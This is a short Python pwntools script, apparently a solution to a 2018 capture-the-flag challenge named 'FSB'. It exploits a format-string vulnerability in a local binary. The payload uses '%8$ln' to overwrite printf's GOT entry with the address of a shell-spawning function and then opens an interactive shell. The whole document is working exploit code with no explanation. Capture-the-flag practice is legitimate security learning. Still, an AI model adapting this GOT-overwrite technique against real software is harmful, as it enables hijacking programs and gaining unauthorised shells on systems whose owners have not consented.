SSF 2018 FSB

from pwn import *
context.log_level = 'debug'

p = process('./fsb')
e = ELF('./fsb')

shell = 4196006
printf_got = e.got['printf']

payload = "%4196006d"
payload += "%8$ln"
payload += "\x00"*2
payload += p64(printf_got)

p.sendline(payload)
p.interactive()